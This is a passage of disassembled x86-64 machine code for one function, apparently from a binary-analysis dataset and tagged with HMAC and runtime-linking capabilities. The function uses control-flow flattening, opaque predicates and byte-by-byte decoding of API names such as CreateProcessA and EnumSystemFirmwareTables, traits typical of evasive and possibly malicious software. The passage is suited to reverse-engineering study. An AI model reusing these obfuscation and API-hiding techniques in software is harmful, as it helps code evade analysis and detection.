Function at 0x140021010
Capabilities:
Authenticate hmac
Link many functions at runtime

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x108
lea rbp, [rsp + 0x80]
mov eax, dword [0x1400610d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp - 1]
mov eax, dword [0x1400610d4]
cmp eax, 0xa
setl byte [rbp - 2]
mov eax, 0xc65b62f8
jmp 0x140021078
mov eax, dword [0x1400610d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x938de8b8
mov ecx, 0x1f434b61
cmove eax, ecx
cmp dword [0x1400610d4], 0xa
cmovl eax, ecx
cmp eax, 0xdcc41f4f
jg 0x1400210d0
cmp eax, 0xb10cbc27
jg 0x140021320
cmp eax, 0x8b762b4d
je 0x14002137f
cmp eax, 0x938de8b8
je 0x140024604
cmp eax, 0xacdebb51
jne 0x140021078
mov eax, dword [0x1400610d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8b762b4d
mov ecx, 0xb10cbc28
jmp 0x14002106b
cmp eax, 0x1f434b60
jle 0x14002135f
cmp eax, 0x1f434b61
je 0x140024e0a
cmp eax, 0x5006b6e3
je 0x14002562e
cmp eax, 0x7315e2c5
jne 0x140021078
mov eax, 0x20
call fcn.14005ed70
sub rsp, rax
mov r8, rsp
mov eax, 0x20
call fcn.14005ed70
sub rsp, rax
mov r9, rsp
mov eax, 0x30
call fcn.14005ed70
sub rsp, rax
mov qword [rbp + 8], rsp
mov eax, 0x20
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x60], rax
mov eax, 0x30
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x30], rax
mov eax, 0x20
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x38], rax
mov eax, 0x20
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x40], rax
mov eax, 0x20
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x48], rax
mov eax, 0x20
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x50], rax
mov eax, 0x20
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x58], rax
mov qword [rbp + 0x20], r8
lea rax, str.CreateProcessA
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
mov edi, 0x6e3793ad
mov edx, 0xf46c509b
cmove edi, edx
cmp dword [0x1400610dc], 0xa
cmovl edi, edx
setge bl
xor al, bl
mov edx, eax
xor dl, 1
and cl, bl
or cl, dl
xor cl, al
mov r11d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r11d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x140021280
cmp edx, 0xd7ca0e99
je 0x14002129b
cmp edx, 0xf46c509b
je 0x1400257d5
cmp edx, 0x6e3793ad
jne 0x140021240
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x140021240
cmp edx, 0x88a95f0c
je 0x1400212a0
cmp edx, 0x98f8596f
jne 0x140021240
mov r10, qword [rbp + 0x80]
mov edx, edi
jmp 0x140021240
mov edx, r11d
jmp 0x140021240
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rsi, rax
movabs rcx, 0x8e18b4232d0bcb7b
xor rsi, rcx
mov rbx, rdx
and rbx, rcx
movabs rcx, 0x4142489c00900084
or rbx, rcx
movabs r14, 0x71e74bdcd2f43484
and rdx, r14
xor rdx, rbx
mov rbx, rdx
movabs rcx, 0xcf5afcbf2d9bcbff
xor rbx, rcx
xor rax, r14
and rax, rbx
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rsi
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x140021240
cmp eax, 0xb10cbc28
je 0x140025945
cmp eax, 0xc3a41f50
je 0x140021052
cmp eax, 0xc65b62f8
jne 0x140021078
mov cl, byte [rbp - 1]
cmp byte [rbp - 2], 0
mov eax, 0x5006b6e3
mov edx, 0x7315e2c5
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140021078
cmp eax, 0x6371172
je 0x140028bd4
cmp eax, 0x10ba1ffa
jne 0x1400540b9
mov eax, 0xacdebb51
jmp 0x140021078
mov rax, qword [rbp - 0x30]
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x68], rax
lea rax, str.EnumSystemFirmwareTables
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
movzx r8d, byte [rax]
mov eax, dword [0x1400610e0]
mov edx, dword [0x1400610e4]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
cmp edx, 0xa
setl al
mov ecx, ebx
xor cl, al
mov ecx, 0x3f51b719
mov edi, 0xb15e3b3
cmovne ecx, edi
test ebx, ebx
sete byte [rbp + 0x28]
sete bl
mov edi, 0x3f51b719
cmove ecx, edi
cmp edx, 0xa
setl byte [rbp + 0x38]
cmovl ecx, edi
or bl, al
mov r9d, 0x980db29e
mov eax, 0x41f4c7ad
cmovne r9d, eax
mov ebx, 0x980db29e
mov eax, 0xd84b80b0
cmovne ebx, eax
movabs rax, 0x96c93431608e4db
add r8, rax
mov edx, 0x67de0e00
jmp 0x140021420
mov edx, 0x41be4095
nop dword [rax]
cmp edx, 0x3f51b718
jg 0x140021460
cmp edx, 0xb15e3b2
jg 0x1400214a0
cmp edx, 0x980db29e
je 0x1400214fb
cmp edx, 0xd84b80b0
jne 0x14002157f
mov rax, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, eax
mov edx, r9d
jmp 0x140021420
cmp edx, 0x41f4c7ac
jg 0x1400214c0
cmp edx, 0x3f51b719
je 0x14002156b
cmp edx, 0x41be4095
jne 0x140021420
mov qword [rbp + 0x78], r8
movabs rax, 0x93a1cbe50325d78d
mov qword [rbp + 0x80], rax
mov edx, ecx
jmp 0x140021420
cmp edx, 0xb15e3b3
je 0x140021417
cmp edx, 0x2412b668
jne 0x140021420
mov edx, ebx
jmp 0x140021420
cmp edx, 0x41f4c7ad
je 0x140021575
cmp edx, 0x67de0e00
jne 0x140021420
movzx eax, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x1400214f1
mov edx, 0xb15e3b3
test al, al
cmovne edx, esi
jmp 0x140021420
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140021420
mov edx, 0x2412b668
jmp 0x140021420
mov edx, 0xa8389bf0
jmp 0x140021420
cmp edx, 0xa8389bf0
jne 0x140021420
mov byte [rbp + 0x50], dil
mov al, byte [rbp + 0x50]
mov rcx, qword [rbp + 0x68]
mov byte [rcx], al
mov r8, qword [rbp + 0x68]
mov rax, qword [rbp + 0x40]
movzx r9d, byte [rax + 1]
mov eax, dword [0x1400610e0]
mov edx, dword [0x1400610e4]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
cmp edx, 0xa
setl al
mov ecx, ebx
xor cl, al
mov ecx, 0x3f51b719
mov edi, 0xb15e3b3
cmovne ecx, edi
test ebx, ebx
sete byte [rbp + 0x28]
sete bl
mov edi, 0x3f51b719
cmove ecx, edi
cmp edx, 0xa
setl byte [rbp + 0x38]
cmovl ecx, edi
or bl, al
mov r10d, 0x980db29e
mov eax, 0x41f4c7ad
cmovne r10d, eax
mov ebx, 0x980db29e
mov eax, 0xd84b80b0
cmovne ebx, eax
movabs rax, 0x96c93431608e4db
add r9, rax
mov edx, 0x67de0e00
jmp 0x140021630
mov edx, 0x41be4095
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3f51b718
jg 0x140021670
cmp edx, 0xb15e3b2
jg 0x1400216b0
cmp edx, 0x980db29e
je 0x14002170b
cmp edx, 0xd84b80b0
jne 0x14002178f
mov rax, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, eax
mov edx, r10d
jmp 0x140021630
cmp edx, 0x41f4c7ac
jg 0x1400216d0
cmp edx, 0x3f51b719
je 0x14002177b
cmp edx, 0x41be4095
jne 0x140021630
mov qword [rbp + 0x78], r9
movabs rax, 0x93a1cbe50325d78d
add rax, 1
mov qword [rbp + 0x80], rax
mov edx, ecx
jmp 0x140021630
cmp edx, 0xb15e3b3
je 0x14002161e
cmp edx, 0x2412b668
jne 0x140021630
mov edx, ebx
jmp 0x140021630
cmp edx, 0x41f4c7ad
je 0x140021785
cmp edx, 0x67de0e00
jne 0x140021630
movzx eax, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140021701
mov edx, 0xb15e3b3
test al, al
cmovne edx, esi
jmp 0x140021630
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140021630
mov edx, 0x2412b668
jmp 0x140021630
mov edx, 0xa8389bf0
jmp 0x140021630
cmp edx, 0xa8389bf0
jne 0x140021630
mov byte [rbp + 0x50], dil
mov al, byte [rbp + 0x50]
mov byte [r8 + 1], al
mov rax, qword [rbp + 0x40]
movzx r9d, byte [rax + 2]
mov eax, dword [0x1400610e0]
mov edx, dword [0x1400610e4]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
cmp edx, 0xa
setl al
mov ecx, ebx
xor cl, al
mov ecx, 0x3f51b719
mov edi, 0xb15e3b3
cmovne ecx, edi
test ebx, ebx
sete byte [rbp + 0x28]
sete bl
mov edi, 0x3f51b719
cmove ecx, edi
cmp edx, 0xa
setl byte [rbp + 0x38]
cmovl ecx, edi
or bl, al
mov r10d, 0x980db29e
mov eax, 0x41f4c7ad
cmovne r10d, eax
mov ebx, 0x980db29e
mov eax, 0xd84b80b0
cmovne ebx, eax
movabs rax, 0x96c93431608e4db
add r9, rax
mov edx, 0x67de0e00
jmp 0x140021830
mov edx, 0x41be4095
nop dword [rax]
cmp edx, 0x3f51b718
jg 0x140021870
cmp edx, 0xb15e3b2
jg 0x1400218b0
cmp edx, 0x980db29e
je 0x14002190b
cmp edx, 0xd84b80b0
jne 0x14002198f
mov rax, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, eax
mov edx, r10d
jmp 0x140021830
cmp edx, 0x41f4c7ac
jg 0x1400218d0
cmp edx, 0x3f51b719
je 0x14002197b
cmp edx, 0x41be4095
jne 0x140021830
mov qword [rbp + 0x78], r9
movabs rax, 0x93a1cbe50325d78d
add rax, 2
mov qword [rbp + 0x80], rax
mov edx, ecx
jmp 0x140021830
cmp edx, 0xb15e3b3
je 0x140021828
cmp edx, 0x2412b668
jne 0x140021830
mov edx, ebx
jmp 0x140021830
cmp edx, 0x41f4c7ad
je 0x140021985
cmp edx, 0x67de0e00
jne 0x140021830
movzx eax, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140021901
mov edx, 0xb15e3b3
test al, al
cmovne edx, esi
jmp 0x140021830
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140021830
mov edx, 0x2412b668
jmp 0x140021830
mov edx, 0xa8389bf0
jmp 0x140021830
cmp edx, 0xa8389bf0
jne 0x140021830
mov byte [rbp + 0x50], dil
mov al, byte [rbp + 0x50]
mov byte [r8 + 2], al
mov rax, qword [rbp + 0x40]
movzx r9d, byte [rax + 3]
mov eax, dword [0x1400610e0]
mov edx, dword [0x1400610e4]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
cmp edx, 0xa
setl al
mov ecx, ebx
xor cl, al
mov ecx, 0x3f51b719
mov edi, 0xb15e3b3
cmovne ecx, edi
test ebx, ebx
sete byte [rbp + 0x28]
sete bl
mov edi, 0x3f51b719
cmove ecx, edi
cmp edx, 0xa
setl byte [rbp + 0x38]
cmovl ecx, edi
or bl, al
mov r10d, 0x980db29e
mov eax, 0x41f4c7ad
cmovne r10d, eax
mov ebx, 0x980db29e
mov eax, 0xd84b80b0
cmovne ebx, eax
movabs rax, 0x96c93431608e4db
add r9, rax
mov edx, 0x67de0e00
jmp 0x140021a30
mov edx, 0x41be4095
nop dword [rax]
cmp edx, 0x3f51b718
jg 0x140021a70
cmp edx, 0xb15e3b2
jg 0x140021ab0
cmp edx, 0x980db29e
je 0x140021b0b
cmp edx, 0xd84b80b0
jne 0x140021b8f
mov rax, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, eax
mov edx, r10d
jmp 0x140021a30
cmp edx, 0x41f4c7ac
jg 0x140021ad0
cmp edx, 0x3f51b719
je 0x140021b7b
cmp edx, 0x41be4095
jne 0x140021a30
mov qword [rbp + 0x78], r9
movabs rax, 0x93a1cbe50325d78d
add rax, 3
mov qword [rbp + 0x80], rax
mov edx, ecx
jmp 0x140021a30
cmp edx, 0xb15e3b3
je 0x140021a28
cmp edx, 0x2412b668
jne 0x140021a30
mov edx, ebx
jmp 0x140021a30
cmp edx, 0x41f4c7ad
je 0x140021b85
cmp edx, 0x67de0e00
jne 0x140021a30
movzx eax, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140021b01
mov edx, 0xb15e3b3
test al, al
cmovne edx, esi
jmp 0x140021a30
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140021a30
mov edx, 0x2412b668
jmp 0x140021a30
mov edx, 0xa8389bf0
jmp 0x140021a30
cmp edx, 0xa8389bf0
jne 0x140021a30
mov byte [rbp + 0x50], dil
mov al, byte [rbp + 0x50]
mov byte [r8 + 3], al
mov rax, qword [rbp + 0x40]
movzx r14d, byte [rax + 4]
mov eax, dword [0x1400610e0]
mov r9d, dword [0x1400610e4]
lea r10d, [rax - 1]
imul r10d, eax
mov eax, r10d
and eax, 1
cmp r9d, 0xa
setl dl
mov ecx, eax
xor cl, dl
mov ecx, 0x3f51b719
mov ebx, 0xb15e3b3
cmovne ecx, ebx
test eax, eax
sete byte [rbp + 0x28]
sete al
mov ebx, 0x3f51b719
cmove ecx, ebx
cmp r9d, 0xa
setl byte [rbp + 0x38]
cmovl ecx, ebx
or al, dl
mov r11d, 0x980db29e
mov eax, 0x41f4c7ad
cmovne r11d, eax
mov eax, 0x980db29e
mov edx, 0xd84b80b0
cmovne eax, edx
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140021c40
mov edx, 0x41be4095
nop word cs:[rax + rax]
nop
cmp edx, 0x3f51b718
jg 0x140021c80
cmp edx, 0xb15e3b2
jg 0x140021cc0
cmp edx, 0x980db29e
je 0x140021d1b
cmp edx, 0xd84b80b0
jne 0x140021d9f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140021c40
cmp edx, 0x41f4c7ac
jg 0x140021ce0
cmp edx, 0x3f51b719
je 0x140021d8b
cmp edx, 0x41be4095
jne 0x140021c40
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 4
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140021c40
cmp edx, 0xb15e3b3
je 0x140021c30
cmp edx, 0x2412b668
jne 0x140021c40
mov edx, eax
jmp 0x140021c40
cmp edx, 0x41f4c7ad
je 0x140021d95
cmp edx, 0x67de0e00
jne 0x140021c40
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140021d11
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140021c40
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140021c40
mov edx, 0x2412b668
jmp 0x140021c40
mov edx, 0xa8389bf0
jmp 0x140021c40
cmp edx, 0xa8389bf0
jne 0x140021c40
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 4], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 5]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140021df0
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140021e30
cmp edx, 0xb15e3b2
jg 0x140021e70
cmp edx, 0x980db29e
je 0x140021ecb
cmp edx, 0xd84b80b0
jne 0x140021f4f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140021df0
cmp edx, 0x41f4c7ac
jg 0x140021e90
cmp edx, 0x3f51b719
je 0x140021f3b
cmp edx, 0x41be4095
jne 0x140021df0
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 5
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140021df0
cmp edx, 0xb15e3b3
je 0x140021de3
cmp edx, 0x2412b668
jne 0x140021df0
mov edx, eax
jmp 0x140021df0
cmp edx, 0x41f4c7ad
je 0x140021f45
cmp edx, 0x67de0e00
jne 0x140021df0
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140021ec1
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140021df0
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140021df0
mov edx, 0x2412b668
jmp 0x140021df0
mov edx, 0xa8389bf0
jmp 0x140021df0
cmp edx, 0xa8389bf0
jne 0x140021df0
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 5], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 6]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140021fa0
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140021fe0
cmp edx, 0xb15e3b2
jg 0x140022020
cmp edx, 0x980db29e
je 0x14002207b
cmp edx, 0xd84b80b0
jne 0x1400220ff
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140021fa0
cmp edx, 0x41f4c7ac
jg 0x140022040
cmp edx, 0x3f51b719
je 0x1400220eb
cmp edx, 0x41be4095
jne 0x140021fa0
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 6
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140021fa0
cmp edx, 0xb15e3b3
je 0x140021f93
cmp edx, 0x2412b668
jne 0x140021fa0
mov edx, eax
jmp 0x140021fa0
cmp edx, 0x41f4c7ad
je 0x1400220f5
cmp edx, 0x67de0e00
jne 0x140021fa0
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140022071
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140021fa0
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140021fa0
mov edx, 0x2412b668
jmp 0x140021fa0
mov edx, 0xa8389bf0
jmp 0x140021fa0
cmp edx, 0xa8389bf0
jne 0x140021fa0
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 6], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 7]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140022150
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140022190
cmp edx, 0xb15e3b2
jg 0x1400221d0
cmp edx, 0x980db29e
je 0x14002222b
cmp edx, 0xd84b80b0
jne 0x1400222af
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140022150
cmp edx, 0x41f4c7ac
jg 0x1400221f0
cmp edx, 0x3f51b719
je 0x14002229b
cmp edx, 0x41be4095
jne 0x140022150
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 7
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140022150
cmp edx, 0xb15e3b3
je 0x140022143
cmp edx, 0x2412b668
jne 0x140022150
mov edx, eax
jmp 0x140022150
cmp edx, 0x41f4c7ad
je 0x1400222a5
cmp edx, 0x67de0e00
jne 0x140022150
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140022221
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140022150
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140022150
mov edx, 0x2412b668
jmp 0x140022150
mov edx, 0xa8389bf0
jmp 0x140022150
cmp edx, 0xa8389bf0
jne 0x140022150
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 7], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 8]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140022300
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140022340
cmp edx, 0xb15e3b2
jg 0x140022380
cmp edx, 0x980db29e
je 0x1400223db
cmp edx, 0xd84b80b0
jne 0x14002245f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140022300
cmp edx, 0x41f4c7ac
jg 0x1400223a0
cmp edx, 0x3f51b719
je 0x14002244b
cmp edx, 0x41be4095
jne 0x140022300
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 8
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140022300
cmp edx, 0xb15e3b3
je 0x1400222f3
cmp edx, 0x2412b668
jne 0x140022300
mov edx, eax
jmp 0x140022300
cmp edx, 0x41f4c7ad
je 0x140022455
cmp edx, 0x67de0e00
jne 0x140022300
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x1400223d1
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140022300
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140022300
mov edx, 0x2412b668
jmp 0x140022300
mov edx, 0xa8389bf0
jmp 0x140022300
cmp edx, 0xa8389bf0
jne 0x140022300
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 8], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 9]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x1400224b0
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x1400224f0
cmp edx, 0xb15e3b2
jg 0x140022530
cmp edx, 0x980db29e
je 0x14002258b
cmp edx, 0xd84b80b0
jne 0x14002260f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
